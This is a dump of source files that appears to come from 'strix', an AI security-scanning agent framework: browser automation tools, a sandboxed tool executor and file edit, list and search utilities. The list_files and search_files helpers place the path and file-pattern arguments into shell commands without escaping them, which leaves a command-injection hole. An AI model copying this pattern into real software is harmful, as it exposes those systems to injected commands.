tab_id = self.current_page_id\n\n        if not tab_id or tab_id not in self.pages:\n            raise ValueError(f\"Tab '{tab_id}' not found\")\n\n        try:\n            x, y = map(int, coordinate.split(\",\"))\n        except ValueError as e:\n            raise ValueError(f\"Invalid coordinate format: {coordinate}. Use 'x,y'\") from e\n\n        page = self.pages[tab_id]\n        await page.mouse.move(x, y)\n\n        return await self._get_page_state(tab_id)\n\n    def press_key(self, key: str, tab_id: str | None = None) -> dict[str, Any]:\n        with self._execution_lock:\n            return self._run_async(self._press_key(key, tab_id))\n\n    async def _press_key(self, key: str, tab_id: str | None = None) -> dict[str, Any]:\n        if not tab_id:\n            tab_id = self.current_page_id\n\n        if not tab_id or tab_id not in self.pages:\n            raise ValueError(f\"Tab '{tab_id}' not found\")\n\n        page = self.pages[tab_id]\n        await page.keyboard.press(key)\n\n        return await self._get_page_state(tab_id)\n\n    def save_pdf(self, file_path: str, tab_id: str | None = None) -> dict[str, Any]:\n        with self._execution_lock:\n            return self._run_async(self._save_pdf(file_path, tab_id))\n\n    async def _save_pdf(self, file_path: str, tab_id: str | None = None) -> dict[str, Any]:\n        if not tab_id:\n            tab_id = self.current_page_id\n\n        if not tab_id or tab_id not in self.pages:\n            raise ValueError(f\"Tab '{tab_id}' not found\")\n\n        if not Path(file_path).is_absolute():\n            file_path = str(Path(\"/workspace\") / file_path)\n\n        page = self.pages[tab_id]\n        await page.pdf(path=file_path)\n\n        state = await self._get_page_state(tab_id)\n        state[\"pdf_saved\"] = file_path\n        return state\n\n    def close(self) -> None:\n        with self._execution_lock:\n            self.is_running = False\n            if self._loop and self.context:\n                future = asyncio.run_coroutine_threadsafe(self._close_context(), self._loop)\n                with contextlib.suppress(Exception):\n                    future.result(timeout=5)\n\n            self.pages.clear()\n            self.console_logs.clear()\n            self.current_page_id = None\n            self.context = None\n\n    async def _close_context(self) -> None:\n        try:\n            if self.context:\n                await self.context.close()\n        except (OSError, RuntimeError) as e:\n            logger.warning(f\"Error closing context: {e}\")\n\n    def is_alive(self) -> bool:\n        return (\n            self.is_running\n            and self.context is not None\n            and self._browser is not None\n            and self._browser.is_connected()\n        )\n"
  },
  {
    "path": "strix/tools/browser/tab_manager.py",
    "content": "import atexit\nimport contextlib\nimport threading\nfrom typing import Any\n\nfrom strix.tools.context import get_current_agent_id\n\nfrom .browser_instance import BrowserInstance\n\n\nclass BrowserTabManager:\n    def __init__(self) -> None:\n        self._browsers_by_agent: dict[str, BrowserInstance] = {}\n        self._lock = threading.Lock()\n\n        self._register_cleanup_handlers()\n\n    def _get_agent_browser(self) -> BrowserInstance | None:\n        agent_id = get_current_agent_id()\n        with self._lock:\n            return self._browsers_by_agent.get(agent_id)\n\n    def _set_agent_browser(self, browser: BrowserInstance | None) -> None:\n        agent_id = get_current_agent_id()\n        with self._lock:\n            if browser is None:\n                self._browsers_by_agent.pop(agent_id, None)\n            else:\n                self._browsers_by_agent[agent_id] = browser\n\n    def launch_browser(self, url: str | None = None) -> dict[str, Any]:\n        with self._lock:\n            agent_id = get_current_agent_id()\n            if agent_id in self._browsers_by_agent:\n                raise ValueError(\"Browser is already launched\")\n\n            try:\n                browser = BrowserInstance()\n                result = browser.launch(url)\n                self._browsers_by_agent[agent_id] = browser\n                result[\"message\"] = \"Browser launched successfully\"\n            except (OSError, ValueError, RuntimeError) as e:\n                raise RuntimeError(f\"Failed to launch browser: {e}\") from e\n            else:\n                return result\n\n    def goto_url(self, url: str, tab_id: str | None = None) -> dict[str, Any]:\n        browser = self._get_agent_browser()\n        if browser is None:\n            raise ValueError(\"Browser not launched\")\n\n        try:\n            result = browser.goto(url, tab_id)\n            result[\"message\"] = f\"Navigated to {url}\"\n        except (OSError, ValueError, RuntimeError) as e:\n            raise RuntimeError(f\"Failed to navigate to URL: {e}\") from e\n        else:\n            return result\n\n    def click(self, coordinate: str, tab_id: str | None = None) -> dict[str, Any]:\n        browser = self._get_agent_browser()\n        if browser is None:\n            raise ValueError(\"Browser not launched\")\n\n        try:\n            result = browser.click(coordinate, tab_id)\n            result[\"message\"] = f\"Clicked at {coordinate}\"\n        except (OSError, ValueError, RuntimeError) as e:\n            raise RuntimeError(f\"Failed to click: {e}\") from e\n        else:\n            return result\n\n    def type_text(self, text: str, tab_id: str | None = None) -> dict[str, Any]:\n        browser = self._get_agent_browser()\n        if browser is None:\n            raise ValueError(\"Browser not launched\")\n\n        try:\n            result = browser.type_text(text, tab_id)\n            result[\"message\"] = f\"Typed text: {text[:50]}{'...' if len(text) > 50 else ''}\"\n        except (OSError, ValueError, RuntimeError) as e:\n            raise RuntimeError(f\"Failed to type text: {e}\") from e\n        else:\n            return result\n\n    def scroll(self, direction: str, tab_id: str | None = None) -> dict[str, Any]:\n        browser = self._get_agent_browser()\n        if browser is None:\n            raise ValueError(\"Browser not launched\")\n\n        try:\n            result = browser.scroll(direction, tab_id)\n            result[\"message\"] = f\"Scrolled {direction}\"\n        except (OSError, ValueError, RuntimeError) as e:\n            raise RuntimeError(f\"Failed to scroll: {e}\") from e\n        else:\n            return result\n\n    def back(self, tab_id: str | None = None) -> dict[str, Any]:\n        browser = self._get_agent_browser()\n        if browser is None:\n            raise ValueError(\"Browser not launched\")\n\n        try:\n            result = browser.back(tab_id)\n            result[\"message\"] = \"Navigated back\"\n        except (OSError, ValueError, RuntimeError) as e:\n            raise RuntimeError(f\"Failed to go back: {e}\") from e\n        else:\n            return result\n\n    def forward(self, tab_id: str | None = None) -> dict[str, Any]:\n        browser = self._get_agent_browser()\n        if browser is None:\n            raise ValueError(\"Browser not launched\")\n\n        try:\n            result = browser.forward(tab_id)\n            result[\"message\"] = \"Navigated forward\"\n        except (OSError, ValueError, RuntimeError) as e:\n            raise RuntimeError(f\"Failed to go forward: {e}\") from e\n        else:\n            return result\n\n    def new_tab(self, url: str | None = None) -> dict[str, Any]:\n        browser = self._get_agent_browser()\n        if browser is None:\n            raise ValueError(\"Browser not launched\")\n\n        try:\n            result = browser.new_tab(url)\n            result[\"message\"] = f\"Created new tab {result.get('tab_id', '')}\"\n        except (OSError, ValueError, RuntimeError) as e:\n            raise RuntimeError(f\"Failed to create new tab: {e}\") from e\n        else:\n            return result\n\n    def switch_tab(self, tab_id: str) -> dict[str, Any]:\n        browser = self._get_agent_browser()\n        if browser is None:\n            raise ValueError(\"Browser not launched\")\n\n        try:\n            result = browser.switch_tab(tab_id)\n            result[\"message\"] = f\"Switched to tab {tab_id}\"\n        except (OSError, ValueError, RuntimeError) as e:\n            raise RuntimeError(f\"Failed to switch tab: {e}\") from e\n        else:\n            return result\n\n    def close_tab(self, tab_id: str) -> dict[str, Any]:\n        browser = self._get_agent_browser()\n        if browser is None:\n            raise ValueError(\"Browser not launched\")\n\n        try:\n            result = browser.close_tab(tab_id)\n            result[\"message\"] = f\"Closed tab {tab_id}\"\n        except (OSError, ValueError, RuntimeError) as e:\n            raise RuntimeError(f\"Failed to close tab: {e}\") from e\n        else:\n            return result\n\n    def wait_browser(self, duration: float, tab_id: str | None = None) -> dict[str, Any]:\n        browser = self._get_agent_browser()\n        if browser is None:\n            raise ValueError(\"Browser not launched\")\n\n        try:\n            result = browser.wait(duration, tab_id)\n            result[\"message\"] = f\"Waited {duration}s\"\n        except (OSError, ValueError, RuntimeError) as e:\n            raise RuntimeError(f\"Failed to wait: {e}\") from e\n        else:\n            return result\n\n    def execute_js(self, js_code: str, tab_id: str | None = None) -> dict[str, Any]:\n        browser = self._get_agent_browser()\n        if browser is None:\n            raise ValueError(\"Browser not launched\")\n\n        try:\n            result = browser.execute_js(js_code, tab_id)\n            result[\"message\"] = \"JavaScript executed successfully\"\n        except (OSError, ValueError, RuntimeError) as e:\n            raise RuntimeError(f\"Failed to execute JavaScript: {e}\") from e\n        else:\n            return result\n\n    def double_click(self, coordinate: str, tab_id: str | None = None) -> dict[str, Any]:\n        browser = self._get_agent_browser()\n        if browser is None:\n            raise ValueError(\"Browser not launched\")\n\n        try:\n            result = browser.double_click(coordinate, tab_id)\n            result[\"message\"] = f\"Double clicked at {coordinate}\"\n        except (OSError, ValueError, RuntimeError) as e:\n            raise RuntimeError(f\"Failed to double click: {e}\") from e\n        else:\n            return result\n\n    def hover(self, coordinate: str, tab_id: str | None = None) -> dict[str, Any]:\n        browser = self._get_agent_browser()\n        if browser is None:\n            raise ValueError(\"Browser not launched\")\n\n        try:\n            result = browser.hover(coordinate, tab_id)\n            result[\"message\"] = f\"Hovered at {coordinate}\"\n        except (OSError, ValueError, RuntimeError) as e:\n            raise RuntimeError(f\"Failed to hover: {e}\") from e\n        else:\n            return result\n\n    def press_key(self, key: str, tab_id: str | None = None) -> dict[str, Any]:\n        browser = self._get_agent_browser()\n        if browser is None:\n            raise ValueError(\"Browser not launched\")\n\n        try:\n            result = browser.press_key(key, tab_id)\n            result[\"message\"] = f\"Pressed key {key}\"\n        except (OSError, ValueError, RuntimeError) as e:\n            raise RuntimeError(f\"Failed to press key: {e}\") from e\n        else:\n            return result\n\n    def save_pdf(self, file_path: str, tab_id: str | None = None) -> dict[str, Any]:\n        browser = self._get_agent_browser()\n        if browser is None:\n            raise ValueError(\"Browser not launched\")\n\n        try:\n            result = browser.save_pdf(file_path, tab_id)\n            result[\"message\"] = f\"Page saved as PDF: {file_path}\"\n        except (OSError, ValueError, RuntimeError) as e:\n            raise RuntimeError(f\"Failed to save PDF: {e}\") from e\n        else:\n            return result\n\n    def get_console_logs(self, tab_id: str | None = None, clear: bool = False) -> dict[str, Any]:\n        browser = self._get_agent_browser()\n        if browser is None:\n            raise ValueError(\"Browser not launched\")\n\n        try:\n            result = browser.get_console_logs(tab_id, clear)\n            action_text = \"cleared and retrieved\" if clear else \"retrieved\"\n\n            logs = result.get(\"console_logs\", [])\n            truncated = any(log.get(\"text\", \"\").startswith(\"[TRUNCATED:\") for log in logs)\n            truncated_text = \" (truncated)\" if truncated else \"\"\n\n            result[\"message\"] = (\n                f\"Console logs {action_text} for tab \"\n                f\"{result.get('tab_id', 'current')}{truncated_text}\"\n            )\n        except (OSError, ValueError, RuntimeError) as e:\n            raise RuntimeError(f\"Failed to get console logs: {e}\") from e\n        else:\n            return result\n\n    def view_source(self, tab_id: str | None = None) -> dict[str, Any]:\n        browser = self._get_agent_browser()\n        if browser is None:\n            raise ValueError(\"Browser not launched\")\n\n        try:\n            result = browser.view_source(tab_id)\n            result[\"message\"] = \"Page source retrieved\"\n        except (OSError, ValueError, RuntimeError) as e:\n            raise RuntimeError(f\"Failed to get page source: {e}\") from e\n        else:\n            return result\n\n    def list_tabs(self) -> dict[str, Any]:\n        browser = self._get_agent_browser()\n        if browser is None:\n            return {\"tabs\": {}, \"total_count\": 0, \"current_tab\": None}\n\n        try:\n            tab_info = {}\n            for tid, tab_page in browser.pages.items():\n                try:\n                    tab_info[tid] = {\n                        \"url\": tab_page.url,\n                        \"title\": \"Unknown\" if tab_page.is_closed() else \"Active\",\n                        \"is_current\": tid == browser.current_page_id,\n                    }\n                except (AttributeError, RuntimeError):\n                    tab_info[tid] = {\n                        \"url\": \"Unknown\",\n                        \"title\": \"Closed\",\n                        \"is_current\": False,\n                    }\n\n            return {\n                \"tabs\": tab_info,\n                \"total_count\": len(tab_info),\n                \"current_tab\": browser.current_page_id,\n            }\n        except (OSError, ValueError, RuntimeError) as e:\n            raise RuntimeError(f\"Failed to list tabs: {e}\") from e\n\n    def close_browser(self) -> dict[str, Any]:\n        agent_id = get_current_agent_id()\n        with self._lock:\n            browser = self._browsers_by_agent.pop(agent_id, None)\n            if browser is None:\n                raise ValueError(\"Browser not launched\")\n\n            try:\n                browser.close()\n            except (OSError, ValueError, RuntimeError) as e:\n                raise RuntimeError(f\"Failed to close browser: {e}\") from e\n            else:\n                return {\n                    \"message\": \"Browser closed successfully\",\n                    \"screenshot\": \"\",\n                    \"is_running\": False,\n                }\n\n    def cleanup_agent(self, agent_id: str) -> None:\n        with self._lock:\n            browser = self._browsers_by_agent.pop(agent_id, None)\n\n        if browser:\n            with contextlib.suppress(Exception):\n                browser.close()\n\n    def cleanup_dead_browser(self) -> None:\n        with self._lock:\n            dead_agents = []\n            for agent_id, browser in self._browsers_by_agent.items():\n                if not browser.is_alive():\n                    dead_agents.append(agent_id)\n\n            for agent_id in dead_agents:\n                browser = self._browsers_by_agent.pop(agent_id)\n                with contextlib.suppress(Exception):\n                    browser.close()\n\n    def close_all(self) -> None:\n        with self._lock:\n            browsers = list(self._browsers_by_agent.values())\n            self._browsers_by_agent.clear()\n\n        for browser in browsers:\n            with contextlib.suppress(Exception):\n                browser.close()\n\n    def _register_cleanup_handlers(self) -> None:\n        atexit.register(self.close_all)\n\n\n_browser_tab_manager = BrowserTabManager()\n\n\ndef get_browser_tab_manager() -> BrowserTabManager:\n    return _browser_tab_manager\n"
  },
  {
    "path": "strix/tools/context.py",
    "content": "from contextvars import ContextVar\n\n\ncurrent_agent_id: ContextVar[str] = ContextVar(\"current_agent_id\", default=\"default\")\n\n\ndef get_current_agent_id() -> str:\n    return current_agent_id.get()\n\n\ndef set_current_agent_id(agent_id: str) -> None:\n    current_agent_id.set(agent_id)\n"
  },
  {
    "path": "strix/tools/executor.py",
    "content": "import inspect\nimport os\nfrom typing import Any\n\nimport httpx\n\nfrom strix.config import Config\nfrom strix.telemetry import posthog\n\n\nif os.getenv(\"STRIX_SANDBOX_MODE\", \"false\").lower() == \"false\":\n    from strix.runtime import get_runtime\n\nfrom .argument_parser import convert_arguments\nfrom .registry import (\n    get_tool_by_name,\n    get_tool_names,\n    get_tool_param_schema,\n    needs_agent_state,\n    should_execute_in_sandbox,\n)\n\n\n_SERVER_TIMEOUT = float(Config.get(\"strix_sandbox_execution_timeout\") or \"120\")\nSANDBOX_EXECUTION_TIMEOUT = _SERVER_TIMEOUT + 30\nSANDBOX_CONNECT_TIMEOUT = float(Config.get(\"strix_sandbox_connect_timeout\") or \"10\")\n\n\nasync def execute_tool(tool_name: str, agent_state: Any | None = None, **kwargs: Any) -> Any:\n    execute_in_sandbox = should_execute_in_sandbox(tool_name)\n    sandbox_mode = os.getenv(\"STRIX_SANDBOX_MODE\", \"false\").lower() == \"true\"\n\n    if execute_in_sandbox and not sandbox_mode:\n        return await _execute_tool_in_sandbox(tool_name, agent_state, **kwargs)\n\n    return await _execute_tool_locally(tool_name, agent_state, **kwargs)\n\n\nasync def _execute_tool_in_sandbox(tool_name: str, agent_state: Any, **kwargs: Any) -> Any:\n    if not hasattr(agent_state, \"sandbox_id\") or not agent_state.sandbox_id:\n        raise ValueError(\"Agent state with a valid sandbox_id is required for sandbox execution.\")\n\n    if not hasattr(agent_state, \"sandbox_token\") or not agent_state.sandbox_token:\n        raise ValueError(\n            \"Agent state with a valid sandbox_token is required for sandbox execution.\"\n        )\n\n    if (\n        not hasattr(agent_state, \"sandbox_info\")\n        or \"tool_server_port\" not in agent_state.sandbox_info\n    ):\n        raise ValueError(\n            \"Agent state with a valid sandbox_info containing tool_server_port is required.\"\n        )\n\n    runtime = get_runtime()\n    tool_server_port = agent_state.sandbox_info[\"tool_server_port\"]\n    server_url = await runtime.get_sandbox_url(agent_state.sandbox_id, tool_server_port)\n    request_url = f\"{server_url}/execute\"\n\n    agent_id = getattr(agent_state, \"agent_id\", \"unknown\")\n\n    request_data = {\n        \"agent_id\": agent_id,\n        \"tool_name\": tool_name,\n        \"kwargs\": kwargs,\n    }\n\n    headers = {\n        \"Authorization\": f\"Bearer {agent_state.sandbox_token}\",\n        \"Content-Type\": \"application/json\",\n    }\n\n    timeout = httpx.Timeout(\n        timeout=SANDBOX_EXECUTION_TIMEOUT,\n        connect=SANDBOX_CONNECT_TIMEOUT,\n    )\n\n    async with httpx.AsyncClient(trust_env=False) as client:\n        try:\n            response = await client.post(\n                request_url, json=request_data, headers=headers, timeout=timeout\n            )\n            response.raise_for_status()\n            response_data = response.json()\n            if response_data.get(\"error\"):\n                posthog.error(\"tool_execution_error\", f\"{tool_name}: {response_data['error']}\")\n                raise RuntimeError(f\"Sandbox execution error: {response_data['error']}\")\n            return response_data.get(\"result\")\n        except httpx.HTTPStatusError as e:\n            posthog.error(\"tool_http_error\", f\"{tool_name}: HTTP {e.response.status_code}\")\n            if e.response.status_code == 401:\n                raise RuntimeError(\"Authentication failed: Invalid or missing sandbox token\") from e\n            raise RuntimeError(f\"HTTP error calling tool server: {e.response.status_code}\") from e\n        except httpx.RequestError as e:\n            error_type = type(e).__name__\n            posthog.error(\"tool_request_error\", f\"{tool_name}: {error_type}\")\n            raise RuntimeError(f\"Request error calling tool server: {error_type}\") from e\n\n\nasync def _execute_tool_locally(tool_name: str, agent_state: Any | None, **kwargs: Any) -> Any:\n    tool_func = get_tool_by_name(tool_name)\n    if not tool_func:\n        raise ValueError(f\"Tool '{tool_name}' not found\")\n\n    converted_kwargs = convert_arguments(tool_func, kwargs)\n\n    if needs_agent_state(tool_name):\n        if agent_state is None:\n            raise ValueError(f\"Tool '{tool_name}' requires agent_state but none was provided.\")\n        result = tool_func(agent_state=agent_state, **converted_kwargs)\n    else:\n        result = tool_func(**converted_kwargs)\n\n    return await result if inspect.isawaitable(result) else result\n\n\ndef validate_tool_availability(tool_name: str | None) -> tuple[bool, str]:\n    if tool_name is None:\n        available = \", \".join(sorted(get_tool_names()))\n        return False, f\"Tool name is missing. Available tools: {available}\"\n\n    if tool_name not in get_tool_names():\n        available = \", \".join(sorted(get_tool_names()))\n        return False, f\"Tool '{tool_name}' is not available. Available tools: {available}\"\n\n    return True, \"\"\n\n\ndef _validate_tool_arguments(tool_name: str, kwargs: dict[str, Any]) -> str | None:\n    param_schema = get_tool_param_schema(tool_name)\n    if not param_schema or not param_schema.get(\"has_params\"):\n        return None\n\n    allowed_params: set[str] = param_schema.get(\"params\", set())\n    required_params: set[str] = param_schema.get(\"required\", set())\n    optional_params = allowed_params - required_params\n\n    schema_hint = _format_schema_hint(tool_name, required_params, optional_params)\n\n    unknown_params = set(kwargs.keys()) - allowed_params\n    if unknown_params:\n        unknown_list = \", \".join(sorted(unknown_params))\n        return f\"Tool '{tool_name}' received unknown parameter(s): {unknown_list}\\n{schema_hint}\"\n\n    missing_required = [\n        param for param in required_params if param not in kwargs or kwargs.get(param) in (None, \"\")\n    ]\n    if missing_required:\n        missing_list = \", \".join(sorted(missing_required))\n        return f\"Tool '{tool_name}' missing required parameter(s): {missing_list}\\n{schema_hint}\"\n\n    return None\n\n\ndef _format_schema_hint(tool_name: str, required: set[str], optional: set[str]) -> str:\n    parts = [f\"Valid parameters for '{tool_name}':\"]\n    if required:\n        parts.append(f\"  Required: {', '.join(sorted(required))}\")\n    if optional:\n        parts.append(f\"  Optional: {', '.join(sorted(optional))}\")\n    return \"\\n\".join(parts)\n\n\nasync def execute_tool_with_validation(\n    tool_name: str | None, agent_state: Any | None = None, **kwargs: Any\n) -> Any:\n    is_valid, error_msg = validate_tool_availability(tool_name)\n    if not is_valid:\n        return f\"Error: {error_msg}\"\n\n    assert tool_name is not None\n\n    arg_error = _validate_tool_arguments(tool_name, kwargs)\n    if arg_error:\n        return f\"Error: {arg_error}\"\n\n    try:\n        result = await execute_tool(tool_name, agent_state, **kwargs)\n    except Exception as e:  # noqa: BLE001\n        error_str = str(e)\n        if len(error_str) > 500:\n            error_str = error_str[:500] + \"... [truncated]\"\n        return f\"Error executing {tool_name}: {error_str}\"\n    else:\n        return result\n\n\nasync def execute_tool_invocation(tool_inv: dict[str, Any], agent_state: Any | None = None) -> Any:\n    tool_name = tool_inv.get(\"toolName\")\n    tool_args = tool_inv.get(\"args\", {})\n\n    return await execute_tool_with_validation(tool_name, agent_state, **tool_args)\n\n\ndef _check_error_result(result: Any) -> tuple[bool, Any]:\n    is_error = False\n    error_payload: Any = None\n\n    if (isinstance(result, dict) and \"error\" in result) or (\n        isinstance(result, str) and result.strip().lower().startswith(\"error:\")\n    ):\n        is_error = True\n        error_payload = result\n\n    return is_error, error_payload\n\n\ndef _update_tracer_with_result(\n    tracer: Any, execution_id: Any, is_error: bool, result: Any, error_payload: Any\n) -> None:\n    if not tracer or not execution_id:\n        return\n\n    try:\n        if is_error:\n            tracer.update_tool_execution(execution_id, \"error\", error_payload)\n        else:\n            tracer.update_tool_execution(execution_id, \"completed\", result)\n    except (ConnectionError, RuntimeError) as e:\n        error_msg = str(e)\n        if tracer and execution_id:\n            tracer.update_tool_execution(execution_id, \"error\", error_msg)\n        raise\n\n\ndef _format_tool_result(tool_name: str, result: Any) -> tuple[str, list[dict[str, Any]]]:\n    images: list[dict[str, Any]] = []\n\n    screenshot_data = extract_screenshot_from_result(result)\n    if screenshot_data:\n        images.append(\n            {\n                \"type\": \"image_url\",\n                \"image_url\": {\"url\": f\"data:image/png;base64,{screenshot_data}\"},\n            }\n        )\n        result_str = remove_screenshot_from_result(result)\n    else:\n        result_str = result\n\n    if result_str is None:\n        final_result_str = f\"Tool {tool_name} executed successfully\"\n    else:\n        final_result_str = str(result_str)\n        if len(final_result_str) > 10000:\n            start_part = final_result_str[:4000]\n            end_part = final_result_str[-4000:]\n            final_result_str = start_part + \"\\n\\n... [middle content truncated] ...\\n\\n\" + end_part\n\n    observation_xml = (\n        f\"<tool_result>\\n<tool_name>{tool_name}</tool_name>\\n\"\n        f\"<result>{final_result_str}</result>\\n</tool_result>\"\n    )\n\n    return observation_xml, images\n\n\nasync def _execute_single_tool(\n    tool_inv: dict[str, Any],\n    agent_state: Any | None,\n    tracer: Any | None,\n    agent_id: str,\n) -> tuple[str, list[dict[str, Any]], bool]:\n    tool_name = tool_inv.get(\"toolName\", \"unknown\")\n    args = tool_inv.get(\"args\", {})\n    execution_id = None\n    should_agent_finish = False\n\n    if tracer:\n        execution_id = tracer.log_tool_execution_start(agent_id, tool_name, args)\n\n    try:\n        result = await execute_tool_invocation(tool_inv, agent_state)\n\n        is_error, error_payload = _check_error_result(result)\n\n        if (\n            tool_name in (\"finish_scan\", \"agent_finish\")\n            and not is_error\n            and isinstance(result, dict)\n        ):\n            if tool_name == \"finish_scan\":\n                should_agent_finish = result.get(\"scan_completed\", False)\n            elif tool_name == \"agent_finish\":\n                should_agent_finish = result.get(\"agent_completed\", False)\n\n        _update_tracer_with_result(tracer, execution_id, is_error, result, error_payload)\n\n    except (ConnectionError, RuntimeError, ValueError, TypeError, OSError) as e:\n        error_msg = str(e)\n        if tracer and execution_id:\n            tracer.update_tool_execution(execution_id, \"error\", error_msg)\n        raise\n\n    observation_xml, images = _format_tool_result(tool_name, result)\n    return observation_xml, images, should_agent_finish\n\n\ndef _get_tracer_and_agent_id(agent_state: Any | None) -> tuple[Any | None, str]:\n    try:\n        from strix.telemetry.tracer import get_global_tracer\n\n        tracer = get_global_tracer()\n        agent_id = agent_state.agent_id if agent_state else \"unknown_agent\"\n    except (ImportError, AttributeError):\n        tracer = None\n        agent_id = \"unknown_agent\"\n\n    return tracer, agent_id\n\n\nasync def process_tool_invocations(\n    tool_invocations: list[dict[str, Any]],\n    conversation_history: list[dict[str, Any]],\n    agent_state: Any | None = None,\n) -> bool:\n    observation_parts: list[str] = []\n    all_images: list[dict[str, Any]] = []\n    should_agent_finish = False\n\n    tracer, agent_id = _get_tracer_and_agent_id(agent_state)\n\n    for tool_inv in tool_invocations:\n        observation_xml, images, tool_should_finish = await _execute_single_tool(\n            tool_inv, agent_state, tracer, agent_id\n        )\n        observation_parts.append(observation_xml)\n        all_images.extend(images)\n\n        if tool_should_finish:\n            should_agent_finish = True\n\n    if all_images:\n        content = [{\"type\": \"text\", \"text\": \"Tool Results:\\n\\n\" + \"\\n\\n\".join(observation_parts)}]\n        content.extend(all_images)\n        conversation_history.append({\"role\": \"user\", \"content\": content})\n    else:\n        observation_content = \"Tool Results:\\n\\n\" + \"\\n\\n\".join(observation_parts)\n        conversation_history.append({\"role\": \"user\", \"content\": observation_content})\n\n    return should_agent_finish\n\n\ndef extract_screenshot_from_result(result: Any) -> str | None:\n    if not isinstance(result, dict):\n        return None\n\n    screenshot = result.get(\"screenshot\")\n    if isinstance(screenshot, str) and screenshot:\n        return screenshot\n\n    return None\n\n\ndef remove_screenshot_from_result(result: Any) -> Any:\n    if not isinstance(result, dict):\n        return result\n\n    result_copy = result.copy()\n    if \"screenshot\" in result_copy:\n        result_copy[\"screenshot\"] = \"[Image data extracted - see attached image]\"\n\n    return result_copy\n"
  },
  {
    "path": "strix/tools/file_edit/__init__.py",
    "content": "from .file_edit_actions import list_files, search_files, str_replace_editor\n\n\n__all__ = [\"list_files\", \"search_files\", \"str_replace_editor\"]\n"
  },
  {
    "path": "strix/tools/file_edit/file_edit_actions.py",
    "content": "import json\nimport re\nfrom pathlib import Path\nfrom typing import Any, cast\n\nfrom strix.tools.registry import register_tool\n\n\ndef _parse_file_editor_output(output: str) -> dict[str, Any]:\n    try:\n        pattern = r\"<oh_aci_output_[^>]+>\\n(.*?)\\n</oh_aci_output_[^>]+>\"\n        match = re.search(pattern, output, re.DOTALL)\n\n        if match:\n            json_str = match.group(1)\n            data = json.loads(json_str)\n            return cast(\"dict[str, Any]\", data)\n        return {\"output\": output, \"error\": None}\n    except (json.JSONDecodeError, AttributeError):\n        return {\"output\": output, \"error\": None}\n\n\n@register_tool\ndef str_replace_editor(\n    command: str,\n    path: str,\n    file_text: str | None = None,\n    view_range: list[int] | None = None,\n    old_str: str | None = None,\n    new_str: str | None = None,\n    insert_line: int | None = None,\n) -> dict[str, Any]:\n    from openhands_aci import file_editor\n\n    try:\n        path_obj = Path(path)\n        if not path_obj.is_absolute():\n            path = str(Path(\"/workspace\") / path_obj)\n\n        result = file_editor(\n            command=command,\n            path=path,\n            file_text=file_text,\n            view_range=view_range,\n            old_str=old_str,\n            new_str=new_str,\n            insert_line=insert_line,\n        )\n\n        parsed = _parse_file_editor_output(result)\n\n        if parsed.get(\"error\"):\n            return {\"error\": parsed[\"error\"]}\n\n        return {\"content\": parsed.get(\"output\", result)}\n\n    except (OSError, ValueError) as e:\n        return {\"error\": f\"Error in {command} operation: {e!s}\"}\n\n\n@register_tool\ndef list_files(\n    path: str,\n    recursive: bool = False,\n) -> dict[str, Any]:\n    from openhands_aci.utils.shell import run_shell_cmd\n\n    try:\n        path_obj = Path(path)\n        if not path_obj.is_absolute():\n            path = str(Path(\"/workspace\") / path_obj)\n            path_obj = Path(path)\n\n        if not path_obj.exists():\n            return {\"error\": f\"Directory not found: {path}\"}\n\n        if not path_obj.is_dir():\n            return {\"error\": f\"Path is not a directory: {path}\"}\n\n        cmd = f\"find '{path}' -type f -o -type d | head -500\" if recursive else f\"ls -1a '{path}'\"\n\n        exit_code, stdout, stderr = run_shell_cmd(cmd)\n\n        if exit_code != 0:\n            return {\"error\": f\"Error listing directory: {stderr}\"}\n\n        items = stdout.strip().split(\"\\n\") if stdout.strip() else []\n\n        files = []\n        dirs = []\n\n        for item in items:\n            item_path = item if recursive else str(Path(path) / item)\n            item_path_obj = Path(item_path)\n\n            if item_path_obj.is_file():\n                files.append(item)\n            elif item_path_obj.is_dir():\n                dirs.append(item)\n\n        return {\n            \"files\": sorted(files),\n            \"directories\": sorted(dirs),\n            \"total_files\": len(files),\n            \"total_dirs\": len(dirs),\n            \"path\": path,\n            \"recursive\": recursive,\n        }\n\n    except (OSError, ValueError) as e:\n        return {\"error\": f\"Error listing directory: {e!s}\"}\n\n\n@register_tool\ndef search_files(\n    path: str,\n    regex: str,\n    file_pattern: str = \"*\",\n) -> dict[str, Any]:\n    from openhands_aci.utils.shell import run_shell_cmd\n\n    try:\n        path_obj = Path(path)\n        if not path_obj.is_absolute():\n            path = str(Path(\"/workspace\") / path_obj)\n\n        if not Path(path).exists():\n            return {\"error\": f\"Directory not found: {path}\"}\n\n        escaped_regex = regex.replace(\"'\", \"'\\\"'\\\"'\")\n\n        cmd = f\"rg --line-number --glob '{file_pattern}' '{escaped_regex}' '{path}'\"\n\n        exit_code, stdout, stderr = run_shell_cmd(cmd)\n\n        if exit_code not in {0, 1}:\n            return {\"error\": f\"Error searching files: {stderr}\"}\n        return {\"output\": stdout if stdout else \"No matches found\"}\n\n    except (OSError, ValueError) as e:\n        return {\"error\": f\"Error searching files: {e!s}\"}\n\n\n# ruff: noqa: TRY300\n"
  },
  {
    "path": "strix/tools/file_edit/file_edit_actions_schema.xml",
    "content": "<tools>\n  <tool name=\"list_files\">\n    <description>List files and directories within the specified directory.</description>\n    <parameters>\n      <parameter name=\"path\" type=\"string\" required=\"true\">\n        <description>Directory path to list</description>\n      </parameter>\n      <parameter name=\"recursive\" type=\"boolean\" required=\"false\">\n        <description>Whether to list files recursively</description>\n      </parameter>\n    </parameters>\n    <returns type=\"Dict[str, Any]\">\n      <description>Response containing: - files: List of files and directories - total_files: Total number of files found - total_dirs: Total number of directories found</description>\n    </returns>\n    <notes>\n  - Lists contents alphabetically\n  - Returns maximum 500 results to avoid overwhelming output\n    </notes>\n    <examples>\n  # List directory contents\n  <function=list_files>\n  <parameter=path>/home/user/project/src</parameter>\n  </function>\n\n  # Recursive listing\n  <function=list_files>\n  <parameter=path>/home/user/project/src</parameter>\n  <parameter=recursive>true</parameter>\n  </function>\n    </examples>\n  </tool>\n  <tool name=\"search_files\">\n    <description>Perform a regex search across files in a directory.</description>\n    <parameters>\n      <parameter name=\"path\" type=\"string\" required=\"true\">\n        <description>Directory path to search</description>\n      </parameter>\n      <parameter name=\"regex\" type=\"string\" required=\"true\">\n        <description>Regular expression pattern to search for</description>\n      </parameter>\n      <parameter name=\"file_pattern\" type=\"string\" required=\"false\">\n        <description>File pattern to filter (e.g., \"*.py\", \"*.js\")</description>\n      </parameter>\n    </parameters>\n    <returns type=\"Dict[str, Any]\">\n      <description>Response containing: - output: The search results as a string</description>\n    </returns>\n    <notes>\n  - Searches recursively through subdirectories\n  - Uses ripgrep for fast searching\n    